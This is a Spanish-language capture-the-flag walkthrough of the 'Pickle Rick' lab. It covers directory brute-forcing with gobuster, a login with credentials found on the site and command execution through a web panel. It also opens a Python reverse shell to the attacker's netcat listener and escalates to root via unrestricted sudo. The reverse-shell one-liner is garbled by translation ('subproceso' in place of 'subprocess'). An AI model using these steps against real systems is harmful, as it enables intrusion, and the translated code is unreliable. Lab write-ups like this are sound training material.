# Pickle Rick

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fgub8ZcEpK3bHseeviC8O%2Fimage.png?alt=media&#x26;token=f81f2674-0d3e-48b9-b99c-39c9f642c2ca" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fo7BBXV81PWMWZjjC9BTJ%2Fimage.png?alt=media&#x26;token=52d562ca-1395-4c39-aa24-8b2b056a7ca1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FUGK8aw8tTJSk6sLpbUtF%2Fimage.png?alt=media&#x26;token=019a2770-dce2-4cff-b810-fd81757f612d" alt=""><figcaption></figcaption></figure>

Podemos ver un nombre de usuario llamado: R1ckRul3s

\
**Ver siempre /robots.txt**

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FebdWumUjEHxXoo2fRhgd%2Fimage.png?alt=media&#x26;token=935568fe-6b94-4480-901f-9edfa6c34bde" alt=""><figcaption></figcaption></figure>

gobuster -u http\://”IP de destino” -w “ruta a la lista de palabras” dir

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FLYaX7syH2tcRh1znEgjR%2Fimage.png?alt=media&#x26;token=553360c5-70cc-457c-a3d3-0718392d7efa" alt=""><figcaption></figcaption></figure>

**Busque la página de inicio de sesión.**

Como hemos encontrado un usuario, probablemente haya una página de inicio de sesión.

Intento manualmente login.php y funciona.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FLCIH106tKzydC6DM8Cgl%2Fimage.png?alt=media&#x26;token=1a3f1cf2-a511-4145-a303-6828e387fafe" alt=""><figcaption></figcaption></figure>

**Iniciar sesión.**

Inicie sesión utilizando las credenciales que encontramos antes.

> Usuario: R1ckRul3s
>
> Contraseña: Wubbalubbadubdub

¡Eso es todo! ¡Estamos dentro!

Y parece que hemos encontrado algo interesante: un panel de comandos que ejecuta código shell directamente a través del sitio.

Puedes probarlo ejecutando “ls”.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FtyKwKcHaWZuseNWxIhSY%2Fimage.png?alt=media&#x26;token=a0a49d4b-8e84-44b2-9448-3b1cc3b0cf12" alt=""><figcaption></figcaption></figure>

Hay un archivo interesante Sup3rS3cretPickl3Ingred.txt y parece que uno de los ingredientes está dentro de él.

Vamos a cazarlo para ver qué encontramos.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fuqjm6AsUVwdy61hAzGsU%2Fimage.png?alt=media&#x26;token=b3034265-80ec-4bfd-8c37-8ed6ee0dcac2" alt=""><figcaption></figcaption></figure>

Hay algo que filtra algunos comandos ejecutados a través del sitio.

Para evitarlo, podemos intentar abrir un shell inverso.

**Abra un shell inverso con el panel de comandos.**

Primero necesitamos configurar el lado del servidor que recibirá la conexión, nuestra máquina en ese caso.

Para hacerlo, utilice netcat para escuchar en el puerto 4321.

* nc -lvnp  4321

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FzDppPW3KZBGuYRDtjoHs%2Fimage.png?alt=media&#x26;token=80b10932-ddae-491c-983d-31beb0e15b86" alt=""><figcaption></figcaption></figure>

En el lado del cliente (Navegador) que se conectará a nuestra máquina, hay muchos scripts para hacer eso mediante el sitio web, puede elegir.

Eche un vistazo al enlace a continuación y vea algunas opciones de script de shell inverso para ejecutar en el panel de comandos:

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

Utilicé el script de Python

> python3 -c 'import socket,subproceso,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect((“Su IP”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subproceso.call(\[“/bin/sh”,”-i”]);'

Recuerde cambiar “python” a la versión actual “python3”.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fs0os7sHKGDSJoJmAZfWd%2Fimage.png?alt=media&#x26;token=7115e83a-dfb0-4ab6-8cf9-5b1d6e02cfb7" alt=""><figcaption></figcaption></figure>

¡Lo conseguimos! Conexión recibida.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FeTpf5bR7az4zKDVnF1L8%2Fimage.png?alt=media&#x26;token=201fb810-ca20-48a6-a66a-3b7e8df638ea" alt=""><figcaption></figcaption></figure>

**Busque otro usuario.**

Simplemente camina y mira si encuentras algún directorio donde puedan estar los ingredientes.

Encontrarás un directorio de Rick con el segundo ingrediente.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F3HSEuEoJF2SsZArY1vOa%2Fimage.png?alt=media&#x26;token=574f8c16-4395-4004-a8cf-642a7964ae94" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios <a href="#id-6519" id="id-6519"></a>

Es hora de escalar privilegios y ver si podemos encontrar los últimos ingredientes como raíz.

**Ver los permisos de sudo para el usuario actual.**

```
sudo -l
```

Parece que tenemos poder ilimitado usando sudo. jeje

Entonces podemos convertirnos en root con sudo.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fg4EdibGvEvE39xy4FOSm%2Fimage.png?alt=media&#x26;token=ded363ad-1a4d-45c9-9d41-1f1061cf4667" alt=""><figcaption></figcaption></figure>
